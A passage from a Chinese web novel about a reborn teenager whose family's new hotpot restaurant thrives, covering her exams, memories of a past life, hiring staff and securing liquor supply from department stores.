这一路过来,那股子麻辣鲜香味更浓了,香得大伙儿都没心思说话了。 不少人好奇地伸长脖子看过去,果然见到一口老式铜锅子里一半红、一半白,还真是一个锅里涮两种锅底儿,正正应了“鸳鸯”这个名,一时更觉得新奇有趣! 当即,其他还没点单的人也纷纷喊着要点鸳鸯锅。 随着客人们陆续开始动筷,煮火锅的香味也越来越浓。 这些香气顺着敞开的门缝、窗缝飘出去,又被北风一吹,几乎把前后左右半条街的人都招来了。 于是,从上午九点半一直到晚上七点,这一大天的时间,店里几乎没断过人。 包间加大堂总共12张桌,在两个饭点儿的时间段内一直是满客状态,t大堂里还不老少排队等位的客人,这个热闹劲儿就别提了。 因为太忙,人手不够,连苏家老两口都出来帮忙了。 等晚上七点刚过,店里的牛肉、猪肉,还有酸菜、冻豆腐、粉条就全没货了,不得不提前关门。 李翠英把剩下的一点卤味和两条羊腿包好,给公婆小叔一家,又和苏丽珍一起把人送到门口。 这会儿,连一向话多的郑艳红都没什么力气说话了。 只有苏卫民接过东西,乐呵呵地客套了两句,还恭维李翠英,夸她手艺好,饭店的生意才这样好,以后肯定发大财。 倒是苏老头临走时看了苏丽珍一眼,说了句:“差不多得了,钱够用就行,你爸他那身体天天这样可受不了,你劝劝他。” 说实话,苏丽珍想过今天火锅店的生意应该会不错,但她没预料到会有这么好! 等把一直留下来帮忙的张表舅夫妻和丁大勇也送走后,她坐下一算帐,好家伙,今天一天竟然接待了九十八桌客人。 算上卤味这一块,今天一天的毛利高达三百二十六块四毛! 苏丽珍算了下,刨去食材、人工、水电、燃料等费用,他们的净利润足足有一百五十六块多。 也就是说,他们的利润比达到了48%左右! 即便过了今天,客流量会有所下降,但店里部分菜品也会恢复原价,一增一减,保守估计以后每天的净利润也能维持一百一十块上下。 而她之所以有这个底气,也是因为除了漂亮的营业额,今天他们还成功办出了四十二张会员卡。 这个数字虽然看着不多,但是来吃饭的客人多半都是以家庭为单位,可能一桌的客人只需要办理一张会员卡。 加上毕竟是开业第一天,很多人持观望态度,所以能达到这个数字,苏丽珍还是很满意的。 当然,今天也暴露了一些不足。 最严重的还是人手不够问题,她打算等过几天,客流量趋于稳定后就立刻根据情况着手招人。 这几天只能先让丁大娘和张表舅他们帮忙顶一下了。 另外,还有酒水的问题。 后世饭店盈利的大头就是酒水,苏丽珍自然也打算走这个路线。 时下人们喝酒主要是喝白酒。 果酒太贵、又不好买;啤酒度数不高,但价钱却不低,喝起来不划算。所以人们推崇的还是各式各样的白酒。 目前,他们家的白酒都是从离家最近的市第二百货商店拿货。 百货商店里,各种散装白酒和瓶装酒有二十多种。但是不要票,可以长期给他们供货的只有一种市价四毛五分钱的散装白酒和一种本地产的瓶装白酒。 这两种酒度数不算高,价钱也不贵,更因为不要票,一直是普通人家里餐桌上的常见酒。 但是作为饭店盈利的重点,只靠它们还是太单一了。 之前,苏卫华用“对付”锅具厂于厂长的办法,说通了市二百的销售主任,让他答应把每月除名酒外,份额内没有卖掉的酒卖给他们。 这样虽说是免了票,但是他们也不能挑,而且给多给少也是人家说了算。 不过这些功夫显然也没有白做,这些酒确实给店里带来了高额利润。 比如,一种60度的散装高粱酒,在百货商店里凭票是一斤一块钱。苏丽珍放在店里直接按三毛钱一两出售,结果那一桶十斤的酒今天一天就卖了个精光。 三倍的溢价都挡不住人们对酒的热情。 现在店里的库存可不多了。 除了白酒,还有一种当地很流行的女士香槟、以及本地产的大白梨饮料也备受欢迎,今天一天卖掉了不少,按照这种情况,几天后肯定也需要补货。 可如果按照市二百与他们的约定,仅靠月底那点儿没定数的余量,肯定是不够店里用的,只能再想办法。 如今市区内一共四家百货商店,她打算把另外三家都走一走。实在不行就直接联系一下本地的酒厂,趁着如今势头好,怎么也不能在这一块儿短了腿。 不过,就算心里有再多思量,她也只能暂且放下店里的事。 因为她即将迎接高中生涯的第一场期末考试。 第80章 家里的店六号开张,八号就是期末考试。 因为苏丽珍才上高一,还没分文理,所有的科目都要考,所以从八号到九号整整考了两天。 走出考场的时候,饶是打心里觉得能重返校园好好学习是莫大幸福的苏丽珍,也松了一口气。 考完了试,老师们要批阅卷子,学校开始放假,并规定十四号返校公布成绩,再之后才是正式放寒假。 苏丽珍觉得这次考试她发挥的还不错,成绩应该比上次月考的时候更进步一点,当然最后还得等出成绩再看。 这几天她心无旁骛地应对考试,连午饭和晚饭都是在学校食堂解决,晚上在教室上晚自习,到家已经九点多了。 整日这么早出晚归,一直没时间过问店里的事。家里也怕影响她,只跟她说一切都好。 不过苏丽珍看着苏卫华夫妻和小麦脸上藏不住的倦色,就知道他们这几天肯定不轻松。 果然她想的没错,九号下午五点她考完最后一科英语回家的时候,立马就被自家店门前那大排的“长龙”惊住了。 等她一进店里,好家伙,大厅、包厢又全部爆满! 苏卫华、丁大勇、张表舅三人一边要招待客人点单上菜,一边还要忙着撤桌收拾; 就连小麦收银台那边也围满了人,有人结账,有人要办卡,热闹得不行。 厨房和大堂的那面墙被苏丽珍改成了国营饭店那种半窗、半墙的样式,人站在外面可以对厨房里的情况一目了然。 这会儿厨房里,李翠英和张舅妈正在洗菜切肉;丁大娘帮着钟嫂子一起刷锅洗碗,四个人头不抬,眼不睁的。 总之,所有人都忙的飞起。 而且,她还意外地看见了一个熟悉的身影。 大堂南侧第一排隔断前是一张一米六的柜台,专门用来卖卤味。 这会儿,竟是薛有粮薛老爷子守在柜台前! 他身上穿着店里厨师用的白上衣,正笨拙地给一位年轻姑娘称卤肉。 “猪头肉一斤三两,我先看看啥价啊……” 柜台外侧贴着各种卤味的价目表,老爷子挨个对了对,“猪头肉,猪头肉……哎,这儿呢,猪头肉是九毛五一斤!” “我算算这多少钱啊……九毛五一斤,一斤三两,三五一十五……” 后面的人等的不耐烦了,忍不住催促道:“我说老爷子,咱能快点儿不?你这卖一份卤味就老半天,啥时候能轮到我们啊!” 其他人也纷纷抱怨起来,“就是啊,我都等好半天了,这队排的老长时间都不动一下!” “真闹心,火锅吃不着,卤味也买不上,愁死人了!” 苏丽珍见状,赶忙放下书包,走到柜台里对那年轻姑娘道:“小姐姐,诚惠,一斤三两猪头肉一共是一块二毛三,您给一块二就行。” 然后又转头对薛有粮说道:“薛爷爷,您帮我收钱找零就行。” 她动作利落地将那位姑娘的卤味装进牛皮纸袋,末了,还往袋里添了几块鸡鸭下货。 “小姐姐,不好意思,我们这两天新店开张,有招待不周的地方,请您见谅!” 那姑娘见苏丽珍还给搭了添头,紧绷的脸上这才有了笑意。 “没事儿,也能理解。” 之后的每一位客人,苏丽珍都给抹了零,外加送一点赠品,总算让原本怨气十足的客人们满意离去。 等把最后一份卤味卖完,一旁的薛老爷子这才松了口气。 “哎呀,我的天,可算应付过去了!我就说这世上三百六十行,行行不简单。这卖东西招待客人的学问也大着呢!” 苏丽珍看他满头大汗的,心里十分过意不去,赶忙从自己书包里拿出手绢递过去,“真是不好意思,薛爷爷,还得劳烦您老人家给我们帮忙。” 薛有粮一挥手,把收钱的木匣子推给苏丽珍,“丫头,你可别这么说,我这笨手笨脚的,差点儿帮了倒忙!” “你说平时我们看图,不管上面数字多复杂,只要我一搭眼就能想出这房子盖出来什么样!可一到你这儿,好家伙,小学三年级的算数我都整不明白了!” 看老爷子一副自我嫌弃的模样,苏丽珍忙说道:“薛爷爷,您可别这么说,什么都是熟能生巧。当初我们家刚出来摆摊的时候,别说卖东西算账,客人站在我们面t前,我们话都不知道怎么说。” 她倒不是诚心安慰老爷子,那会儿她爸苏卫华第一天出摊的时候,真是嘴都张不开。 而且任谁刚上手的时候,独自应付这么多客人,兵荒马乱的,也很难不出错。 薛老爷子这才好受了些,要不然还真担心是自己老了,连几块钱的账都算不明白。 哄好了老爷子,苏丽珍让他先在小柜台这边歇着,等会儿在这儿吃晚饭。 眼见又有一桌客人起身走了,苏卫华领人去前面结账,她赶忙过去跟张表舅一起收拾桌子。 看丁大勇一直跑来跑去给每一桌添汤加碳,她心里暗自合计,以后店里招服务员还得招个力气大的,最好是男孩子,毕竟这些活儿既吃力气、又有点危险。 另外,一架手推车还是做少了人,客人多起来根本不够用,起码还得加两架。 苏丽珍一边在心里查缺补漏,一边加紧手上的活儿,不知不觉就忙了一个多小时。 等再抬起头的时候,这会儿已经过了六点半,外头一片漆黑,店里的客人们终于肉眼见着不多了。 李翠英在收银台前支了张桌子,招呼大伙儿赶快吃饭。 苏丽珍揉了揉酸疼的肩膀,想起要叫薛老爷子一起吃,结果走到前面才发现老爷子不知道什么时候已经走了。 苏小麦有些愧疚道:“都怪我,就坐在这儿还没把人看住,连薛爷爷什么时候走的都不知道!” 苏丽珍忙安慰她,“你也一直没得闲,我们来来回回都看见了,你这里始终围了不少人。” 苏卫华直拍自己脑门,“该怪我,一忙起来啥都顾不上,难为人老爷子帮了咱两下午了!” 苏丽珍这才知道,原来从六号开业起,第二天客流量本来是下降了一些的,所以苏卫华他们也忙得过来。 谁知到了第三天,也就是八号下午,这客人忽然就多了起来,而且是一批接一批。 哪怕是过了饭点儿,店里也大多处于爆满状态。 薛老爷子开业当天也带着家人来捧场了,就是没说上几句话,昨天下午溜达过来,见他们忙成这样,二话不说就伸手帮忙。 而且老爷子也像今天一样,忙到天黑后就自己悄悄走了,让苏家人心里很是过意不去。 李翠英正在给大伙儿盛面,也不禁无奈道:“不光薛老,还有卢警官和安厂长他们,咱们开业那天,人不光带着家人来给咱捧场,还都带了礼物来。” “结果咱们一直光顾着忙,都没跟人家好好道谢,我这想起来心里还怪不得劲儿的。” 苏卫华也说:“可不是嘛,还有珍珍的同学,咱们真是欠了不少人情。” 店里开业当天,卢安两家不但人来了,还都精心准备了礼物。 卢家送的是一个发财摆件,红木的底座上一只金灿灿的大金蟾,金蟾嘴里、怀里都是一个个金元宝,寓意好,做工更精致。 最重要的是,这摆件那两寸宽的底座上还留了一行醒目的大字:市刑警队卢警官赠送。 苏丽珍看到这行字第一个想法就是,卢向杰大哥一定是故意这样做的,这绝对是在变相给他们家撑腰。 毕竟像他们这种开店的,三教九流什么人都要接触。 要不然以卢家人的性格,是不会到处宣扬自家身份的。 而安家,送的是一幅安厂长亲手画的画。 苏丽珍也是之后才知道,安厂长年轻时是中文系的才子,画的一手好画,据说现在在本地的文人圈子里也小有名气。 而且以安厂长如今的地位,他的画也是很难求的。 所以他能亲自画一幅画,送给苏家做贺礼,显然也是真的对苏家人高看一眼。 另外,出乎苏家人意料的,安厂长夫妻俩这次还帮谢芳芳的父母也带了一件礼物——一张电冰箱票。 这绝对是有钱也不好弄的好东西。 老实说,谢家这礼物绝对是送到苏丽珍心坎儿里了。毕竟东北的冬天再长也有过去的时候,再没有比开饭店更需要这东西的了。 但是苏家人也没想过要收人家这么好的礼物。 只是安厂长夫妻俩当时一再强调,谢家是感念苏丽珍帮了谢芳芳不少忙,加上他们又因为工作实在太忙,没办法亲自过来道贺,这才委托给了安厂长,叫苏丽珍一家务必要接受他们的心意。 安厂长一这么说,苏家人倒不好不收了。 苏丽珍之前就觉得谢芳芳的家世不一般,这张电冰箱票更坐实了她的猜测。 她倒也没因此生出什么上杆子攀附或主动疏远的想法,决定遵从本心,该如何就如何。 而且这张票是谢家送给他们开业的贺礼,又托了安厂长出面,所以他们不能退回去打两家人的脸。 不过,她也不希望这张票让谢芳芳产生误会。 于是她在学校直截了当地告诉了谢芳芳,她会把这张票当做谢家的人情记在心里,今后合适的时候必定报答对方。 但是她与她谢芳芳之间的友谊纯粹出自她个人的情感和想法,以前她对她什么态度,今后也一样。 她不会对她另眼相待,也不会故意疏远来证明什么。 谢芳芳当时听完了这番话,看着她好久没说话。之后反而更黏着她,什么事都要来找她商量一下。 这些自然是后话,暂且不提。 这会儿,苏丽珍安慰父母道:“爸、妈,你们也别老惦记这些,明天一早我就把招工广告贴出去,争取尽快招到人。” “等店里压力缓解了,咱们就挨家把薛爷爷和安伯伯他们请过来好好吃顿饭,也是表达一下咱们的谢意。” 苏卫华点头,“也只能这样了,而且招到了人,咱们也不用老这么麻烦张老哥和丁大嫂他们了。” 别人还没来得及说话,丁大勇就赶忙抢先道:“不麻烦,我没事儿,我那班不着急!” 苏为华板着脸,“你不急,我急!我都跟你说了多少回了,不行老往这跑!” “现在珍珍也放假了,也算多了一个人手,你别一逮住空子就往这儿跑了,也不准再跟人私自调班,更不行请假,听见没!” 丁大娘也说:“勇啊,听你师父的,为你这班,你师父当初废了多少心思!这边有妈和你表舅呢,咱可不能老这么耽误。” 张表舅夫妻俩也连连劝他安心上班,再不济他家还三个小子呢,哪一个都能来帮忙。 苏丽珍看着她师兄垂头丧气的样子,心里十分同情。 她可是知道,大勇哥现在一有空就翻薛老爷子借给他的书。难得这两天老爷子本人也在,他却顾不上过去说几句话,肯定心里急得慌。 李翠英看丁大勇有点发蔫儿,立马心疼起来,忍不住白了苏卫华一眼,“有话你不能好好说?见天端你那个师父架子!” 转头对丁大勇道:“大勇啊,咱不搭理他!饿了吧,快来吃饭。” 又招呼其他人,“来、来,大伙儿快吃饭,没啥好东西垫巴一口。” 没想到丁大勇到了圆桌前直接“咦”了一声,“师娘,你这做的是啥?火锅面吗?看着好有食欲啊!”《 》 80-90 第81章 大大家闻声都去看李翠英做的面。 只一眼,大伙儿就明白为什么丁大勇管这叫“火锅面”了。 只见两盆面,一盆是奶白色的面汤;一盆是麻辣火锅一样的油亮红汤。 而且说是面,其实两个盆里只有三分之一的手擀面,主要还是肉片、白菜、木耳、干豆腐和粉条的大杂烩。 看起来就像是直接把这些食材一股脑放到火锅里一次煮熟,最后连汤带菜一起盛出来,“火锅面”这名字还真有几分贴切。 李翠英却有些不好意思道:“本来应该做点好的犒劳大家,但是天天一到这个点儿总也剩不下啥。” “原想端锅子过来,大家涮点肉,可坐这儿也不方便,我就想着干脆把这些肉啊菜啊都就着锅底煮熟了,大伙儿吃的省事儿、还痛快!怕吃不饱,我又往里放了点面。” 大家一听,这其实还是火锅嘛! 等一到近前,属于火锅的香气直往鼻子里钻,果然是这个味儿! 李翠英已经帮大伙盛好了面,丁大勇接过自己那碗,迫不及待上去就是一大口! 这一口里有肉有菜,还有让人瞬间上头的麻辣鲜香,真是好吃又过瘾! 大伙也直说这样吃跟涮火锅一样,又不用等,可正适合饿肚子时吃。 李翠英见t大伙吃得满意,自然十分高兴。 “其实我这么做也是借鉴了点书上学来的食谱。说是川省那边有个叫乐山的地方,有一种叫‘串串’的小吃,就跟咱这吃法差不多……” 彼时,苏丽珍正端起一碗红彤彤的“火锅面”细细端详,听见李翠英的话不由一怔。 通过这红润的汤底,她的思绪似乎跨过了时间与空间的距离,回到了上辈子。 …… 廉价的破旧铁皮房里,清瘦的老人守着一口豁了口的小铁锅,一面往锅里放一些牛肉的边角碎料,一边对她说道: “在乐山当地,这东西叫‘串串’,早期都是船工之类做苦工的人们常吃的。喏,就像咱俩现在这样!” “找一个瓦罐,装一罐江水,把菜叶子往里一扔,有条件的再放点下水杂碎啥的,再撒一把海椒、花椒。等熟了吃上一碗,又热又辣,既驱寒又解乏。” “后来为了方便,人们又把这些菜啊肉啊的,用竹扦子串起来,放在锅里涮烫,等烫熟了随吃随拿,所以才叫‘串串’。” “不过那会儿都穷,吃也是以素菜为主。哪像这洋鬼子的地方,菜都比肉还贵!” 老人说着,从旁边的塑料袋里扒拉出几片蔫巴巴的生菜叶子小心翼翼放进锅里。 “瞧,就这么几片破叶子,在咱家那边白给都没人要!在这里,还要两个洋鬼子币,真他娘的值钱!” “接着说啊,我是秦省人,十四岁父母双亡,后来跟着我的养父一起回到了他的故乡,就是与乐山相邻的一座小城。” “那时候乐山的串串几经发展,已经成了非常美味的小吃。你别看它只是街边码头的地摊食物,但是那些摆摊的小贩们都很厉害的!” “就拿我最喜欢的岷江牛华镇码头一个姓王的摊主,他调的串串锅底绝对是整个乐山数一数二的!想当初我老苏头连着吃了他们家串串三个多月,才把他的配方破解了!” “其实我也很厉害的!”老人脸上难掩得意,“要我说,这世上最怕‘用心’两个字。你要是走对了路,那这两个字能帮你青云直上;” “可你要是选错了路,那这两个字反而就是灾难了……所以凡事儿你得想清楚了才行!” 老人一边说、一边拿眼偷瞄她,见她没什么反应,轻咳了一声,把话题又转了回来。 “这好的串串讲究麻、辣、香,而且放到锅里烫的时候要格外注意火候,千万不能烫老了,要不然菜蔫肉柴,再好的锅底也白搭!所以那边也有人把这串串叫做‘麻辣烫’是不是听着也挺贴切?” 老人唠叨着,见锅里的菜肉烫的差不多了,最后从怀里摸出一个小布袋儿,一层层打开,露出里面半颗鸡蛋大的一个黄纸包,叹了口气道: “这点辣椒面是我手里最后的存货了,那天请你吃了一碗凉皮,今天是咱老家的中秋节,咱再吃一顿串串吧!” “唉,这也没个竹扦,倒是不像串串……那叫麻辣烫好了,虽然也一样没有‘麻’……” 老人嘟囔着,将第一碗盛出来的热腾腾食物端到她面前。那一碗有肉、有菜,还有飘着红色辣椒面的汤汁。 “来,孩子,就算再伤心难过,也要先把肚子填饱。你记着苏爷爷的话,哪怕是生死大事,也得吃顿饱饭再解决。” “吃吧,快吃吧!” …… 泪水渐渐模糊了视线,记忆里那位对她恩重如山的老人,她真的很想念他。 苏丽珍暗暗告诉自己,只要再等两年,她一定要考上首都的大学,找到苏爷爷,然后不惜一切代价把苏爷爷一家留在国内。 绝不能让他老人家再像上辈子那样,老无所依,吃尽苦头。 “呀,珍珍,你咋哭了!” 忽然,一声惊呼把苏丽珍从思绪中惊醒。 没等她反应过来,李翠英已经上前一把抢过她手里的面碗,“你咋吃这碗呢?你说你这孩子,明明知道自己吃不了辣的还非得惦记,真是嘴馋人受罪!” 苏丽珍属于那种特别爱吃辣,但又偏偏吃不了的人。 吃一点儿辣的,嘴巴、眼睛就通红一片,看起来像大哭了一场。 苏丽珍没法解释自己为什么流泪,只好顺势承认,“我是看大勇哥吃的太香了,这才没忍住。” 丁大娘听了,直接拍了儿子后背一巴掌,“你说你,跟个饿死鬼投胎似的,谁还能抢你的是咋的!” 苏丽珍皮肤特别白,眼圈一红就格外显眼,这么看着竟像是一副委屈巴巴的小可怜样,让人怪心疼的。 连张表舅都对丁大勇说:“勇啊,咱慢点儿吃!要不你还是坐舅这边吃得了!” 坐在苏丽珍旁边,刚炫完第一碗、准备盛第二碗的丁大勇:“……” 咋感觉自己像个冤种呢? 苏丽珍接过苏小麦倒的温水,心里默默对师兄说了句抱歉,今天只能委屈他替自己挡一挡了。 大伙都在打趣丁大勇的吃相,一时谁也没注意到,苏丽珍之前根本没有动过那碗红汤面。 第二天一大早,苏丽珍就把招聘广告贴了出去。 一家人商量过了,这次准备再招两个服务员、一个后期改刀工和一个钟点工。 服务员和钟点工就不说了,原本李翠英是不想再招后厨干活的人,直说现在有她和张舅妈两个人就够了。 但是苏丽珍不这样想,她希望李翠英能从后厨这些繁重的体力活中脱手,以后专门负责菜品质量把关和一些新口味研发上。 这样既能满足李翠英热爱钻研烹饪的愿望,也能让她不那么劳累。所以针对这个想法,后厨势必要进人。 李翠英见闺女为她考虑的面面俱到,也就不再坚持了。 广告贴出去没多久就有人来问,大多都是奔着做服务员来的。 时下在国营饭店当服务员,跟百货商店做销售员一样,都是美差,一般人关系不够可进不去。 很多人自恃这是个“铁饭碗”,所以工作态度散漫,再加上国营饭店的营业模式,更使这份工作看起来十分清闲。 这也导致大家对这个岗位有了误解,觉得无非是每天端端盘子、收收钱,轻轻松松到点就下班。 可他们这是私人饭店,没有公家那样旱涝保收的“铁饭碗”不说,就是每天的营业时长就不轻松了。 所以她在招聘广告上写的清清楚楚,第一点就要求应聘人员要能吃苦耐劳,且男同志优先;第二点就是服务态度必须要好。 学历不做硬性要求。会写字,能把客人的点菜单子写明白就行。 至于工资待遇,跟张舅妈一样,都是一个月三十块钱,外加包两顿饭。 每个月休息两天,工作时间是早九点到晚七点半。同样如果表现的好,月底可以拿奖金。 考虑到店里的工作比较繁重,她也没搞什么试用期。哪怕人来了做了几天不满意要走,她也是按这个标准给人家结算工钱。 光今天一个上午,就来了七、八个人,苏丽珍一看就知道这些人压根儿没仔细看她的招聘要求。 要么是问她,到月底时能给发多少奖金;要么就是问,等饭点儿忙完了可不可以回家休息。 还有一个个子高挑、体型微丰的年轻姑娘,跟苏丽珍拍着胸脯保证,说她保证能做到态度好,到时肯定不会随意骂顾客! 苏丽珍:“……” 苏丽珍很头疼,只得再次把店里的情况和工作要求跟他们详细讲了一遍。 这之后,果然大多数人都打了退堂鼓。 只有一个叫王树的男孩子没走,依然非常希望苏丽珍能把他留下。 王树过了年才十八,个子倒是不矮,就是人长得特别瘦。 大概他自己也知道自己的“短板”,怕苏丽珍和李翠英看他人瘦,以为他没力气,正巧苏卫华上午买了半车煤回来,见煤车停在门口,王树二话不说上去就背起一筐一百多斤的煤,往库房里运。 一口气连背了四五趟,苏卫华在旁边劝都劝不住。 李翠英见状,就偷偷跟自家闺女商量,“珍珍,我看这孩子像个能干活儿的,要不咱们就把他留下吧。” 苏丽珍看了眼那孩子衣服上的补丁以及脚上漏风的棉鞋,只说道:“妈,你觉得他合适,咱们就把他留下。” 李翠英听完松了口气,“我看着这孩子就想起当初第一次见到小麦的时候,这心里总有点不落忍。”—— 作者有话说: 感谢在2023-t04-1420:02:41~2023-04-1620:03:47期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第82章 王树听说自己被留下,高兴得不行,当时就想直接留下干活,苏丽珍自然没答应。 因为是做餐饮的,她格外注意个人健康卫生这一块,所以她让王树今天先回去,等明天早上去医院做个体检,然后拿着体检单子和费用单一起过来,店里会报销这笔体检费。 不光是王树,当初钟嫂子也是如此。张舅妈那边,苏卫华夫妻原本想着是知根知底的,干脆算了。 可人家张舅妈看钟嫂子拿了体检单子,自己直接就去了医院,而且回来坚决不肯让李翠英给她报销。 李翠英为这事十分不好意思。还是苏丽珍劝她,等月底跟工资一起补给张舅妈。 报销这个事,倒也不是苏丽珍滥好心。实在是现在连正儿八经的国营饭店里招人,大多数也没要求提供体检报告。 现在做一次体检要两块钱,这可不是一毛、两毛,有的人可能都负担不起。 所以她要非让应聘的人去体检,那就不是招人,而是刁难人了。 她就当是花钱给自家买个保障,毕竟大家以后也要在一个锅里吃饭。 果然,王树一开始听说要先去体检,脸上不由露出一抹为难,等听说这笔钱店里可以报销,这才悄悄松了口气。 王树走后,苏丽珍和李翠英又看中了一位来应聘钟点工的田大姐。 苏丽珍也一样让对方明天先去体检,然后再来上班。 店里多了两个人,压力缓解了不少。 一有空闲,苏丽珍就立即着手解决酒水的问题,她准备去另外三家百货商店看看。 本来苏卫华是要自己去的,但是苏丽珍觉得许是这几天有些劳累,父亲的脸色不太好,就坚持让他留在家里。 苏卫华有些犹豫,他倒不是不相信闺女的能力,就是担心那些公家单位的干部们不好说话,怕这些人看他的珍珍面嫩,先入为主,不把她当回事。 关于这个问题,苏丽珍早有对策。 她把现在出门穿的大棉袄脱下,换上了李翠英入冬新给她买的一件格子样式的厚呢子大衣。 这种大衣带了收腰,是时下比较流行的款式,穿上以后人也显得成熟。 尤其是苏丽珍本身虽然容貌只是清秀,但她有两个优点,一个是皮肤特别白;再一个就是身段发育得特别好。 所以这种时装款的大衣也完全撑得起来。 等她穿上大衣,头发高高扎起,脖子上围一条米白色羊毛围巾,最后再蹬上黑色的小皮鞋。 这么一打扮,不仔细看脸的话,真就是个大姑娘了。 店里的几位女同志们围着苏丽珍看了又看,都夸她这样穿洋气得很,不像高中生,倒像大学生! 只有李翠英这个亲妈一脸担心,“这么穿是好看,可现在正是冷的时候,你这样在外跑一天,还不冻感冒了!” 苏丽珍安慰她妈,“没事的,妈,咱们店门口就是公交车站,那三家百货商店也都离公交站不远,我路上都坐车,不会太冷的!” 李翠英知道劝不住,只能一再叮嘱她,事情不好办就先回来,千万别冻着。 苏丽珍笑眯眯哄完了她妈,可是转头一出门,西北风一吹,还是忍不住打起了哆嗦。 其实她真的很怕冷,上辈子她就是冻死在街头的。老实说,这种被寒风从里到外刺透的感觉真的很不好。 不只是身体上,于她,也总能轻易勾起那些不堪的回忆。 公交车不紧不慢地驶来,她轻轻吐出一口气。 没时间再沉湎这些了,重生一回,她有更重要的事去做。 用了差不多大半天的时间,苏丽珍就把另外三家百货商店都跑了一遍。 结果还算不错。除了第三百货商店,第一和第四百货都答应按之前第二百货的供货模式,给他们家提供酒水。 这样一来,完全缓解了店里的“酒水荒”,同样,收益也能大大提高。 而且这一次,她也算见识到原来同样阶层、相同岗位的干部们之间,想法差距会那么大。 就拿第三百货商店的销售主任来说,苏丽珍当时与他说话时,对方全程都表现的很冷淡,而且对他们这种个体户也很不屑。 话里话外都在指责个体私营就是投机倒把,会严重影响正常的经济秩序。 所以,苏丽珍一看对方这个态度就知道这一趟注定白跑。 反观第一和第四百货商店的销售科负责人,人家不等她说明来意,就先问起店里的情况,似乎对她家这没开几天的个人饭店早有了解。 尤其当她拿出店里酒水的销售数据,对方更是表现出了浓厚的兴趣。 苏丽珍倒不是因为觉得得了人家重视才这样想,而是感叹这两位负责人对市场变化反应之灵敏和迅速。 显然,人家是通过对他们这第一批个体户的观察,来预估未来私营这种新兴经济模式的发展前景。 苏丽珍对这种并不故步自封,时刻保持发展眼光的干部们是很钦佩的。 毕竟她靠得是比别人多活一辈子的经历,而人家是真正的目光老辣和经验丰富。 因此,在这种比较友好的范围下,苏丽珍很快就和两家百货商店谈妥了供货协议。 不过也有件不大不小的事。 第一百货的吕主任,一直表现的很热情,协议也敲定的很快,还直夸苏丽珍一家经营有道,这才短短几天时间就已经有不少人知道人民路有一家好吃的火锅店了。 说实话,对方这个态度让苏丽珍都有些受宠若惊,甚至暗自腹诽,觉得对方像是有所求的样子。 果然,这并不是她的错觉。 眼见苏丽珍准备告辞离去之际,这位吕主任忽然开口道:“小苏啊,你们店里生意这么好,不知道还缺不缺人手?” 苏丽珍一听就明白怎么回事儿了,心里叹了口气,面上却是笑着道:“吕主任,您还真问到点子上了,我们这两天生意忙,顾不上招人,现在还缺一个服务员和一个厨房改刀打下手的。” “不知道吕主任您这边有没有合适的人选,能帮忙给我们介绍一个?” 这种托关系塞人的事一直都有,等过几年待业的年轻人越来越多,各大单位都人满为患,这种情况会更多。 苏丽珍这话既给吕主任递了梯子,又给足了面子。 吕主任听完直接笑了起来,“你这小姑娘,真是会说话!不过我这边倒真有一个人选……” “这人做事肯定是没问题的,人品我也敢给你保证,就是这身体方面……有点问题。” 苏丽珍听的心里一咯噔,这不会是有啥病吧! 传染病就不说了,即便是其他的病,在饭店那种嘈杂、体力要求高的工作环境下也很不合适。 万一人来了,做了几天就病倒了,到时候该怎么说?或者三天两头请假的,对其他员工也不公平。 如果真要不行,就只能得罪这位吕主任了。 不过据她观察,这位吕主任倒不像是做事这么不靠谱的人。 还是先听听情况再说。 她心里瞬间想通了这些,面上却丝毫不显。 另一边,吕主任见苏丽珍脸上没露出什么不满或为难的神色,一副愿意听他细说的样子,心里十分高兴,态度越发亲切了几分。 “是我表弟家的大儿子,今年24了。这孩子不容易。我表弟走的早,表弟妹身体又不好,剩下这孤儿寡母,日子也十分艰难。” “那孩子是个懂事的,早早就担起了家里的重担,帮着他/妈带大了家里的弟弟妹妹,干活绝对是一把好手!七五年的时候,我又亲自送他去当了兵。” 吕主任说到这里,叹了口气。 “后来这孩子参加七/八年的反/击/战,在战场上一条腿被炸坏了,好了以后走路就有些跛,不得不退伍回家。” “他/妈受不了这个打击,直接一病不起。当时部队给的一笔安置费全让这孩子给他/妈治病了!最后虽然人是救回来了,但这一家老的老、小的小,日子也更难了。” “这孩子t又是个要强的,即使自己再难,也不愿意麻烦我们这些亲戚朋友。他自己一个人去货站给人临时扛包,累死累活一天才挣个几毛钱,看的我这个做叔叔的实在心疼,所以我才厚着脸皮开这个口。” 吕主任说完,又特地强调道:“当然,小苏,你要是觉得不合适也没关系,毕竟我心里清楚,他这身体情况怎么说跟正常人比,还是差了点儿!” “这样吧,你回家跟家里人商量商量,要是不行或者你家里找到更合适的人了,你就告诉我一声,千万别为难,我这也就是顺嘴问一问。” 现在的人都对保家卫国的解放军战士怀有天然的好感,苏丽珍也不例外。 何况听了对方的经历,她更觉得对方是个自立自强的人,心中倒是又多了几分敬佩。 所以便对吕主任说道:“吕主任,不用商量了,我现在就能给您答复,这人我们要了!” “您看,我让他去后厨做些改刀打下手的活儿,能行吗?” 吕主任一听这话,自然十分高兴,忙不迭点头:“行、行,简直太行了!这孩子特别会做饭,当兵时还在炊事班待过!小苏,你们放心,这活儿他肯定能给你们干好!” 要了人,自然要谈待遇问题,苏丽珍也是按张舅妈和王树的标准来。 “一个月三十块钱,月休两天,上班时间早九晚七,包中午、晚上两顿饭。如果表现的好,月底还有奖金。吕主任,您看成吗?” 吕主任听完,神情却有些严肃,“小苏啊,这个待遇问题你可一定要按你们的实际情况来!” “实话说,你们肯用他,就是帮了我老吕大忙了!我老吕领你们的情。做事业不容易,可不能为这加重你们的负担!” 苏丽珍知道吕主任是担心自家因为他的缘故,故意把待遇提高了。 尤其吕主任说这话时,神情格外认真,看起来并不是故作姿态,她心里倒是对这位吕主任又多了几分好感,不由笑着解释道:“您放心,我们店里其他的后厨工作人员也是这个标准。” “不怕您笑话,我们这毕竟是才开了没几天的新店,我就是想打肿脸充胖子,也得先练出一副硬拳头,要不然想充胖子都充不上!” 这番话倒把吕主任逗得哈哈大笑,当即对苏丽珍毫不吝惜地夸赞起来:“果然是长江后浪推前浪!小苏啊,我看你们店里有你,这‘拳头’会有,‘胖子’也会有!” 第83章 这件事就这么说定了。苏丽珍和吕主任说好让人明天上午过去,顺带又提了体检和相关费用报销的话。 吕主任满口答应了下来,回头还忍不住跟手底下的人感慨。以小见大,就冲着这一件事,就能看出这小姑娘是个思虑周全、办事灵活的。 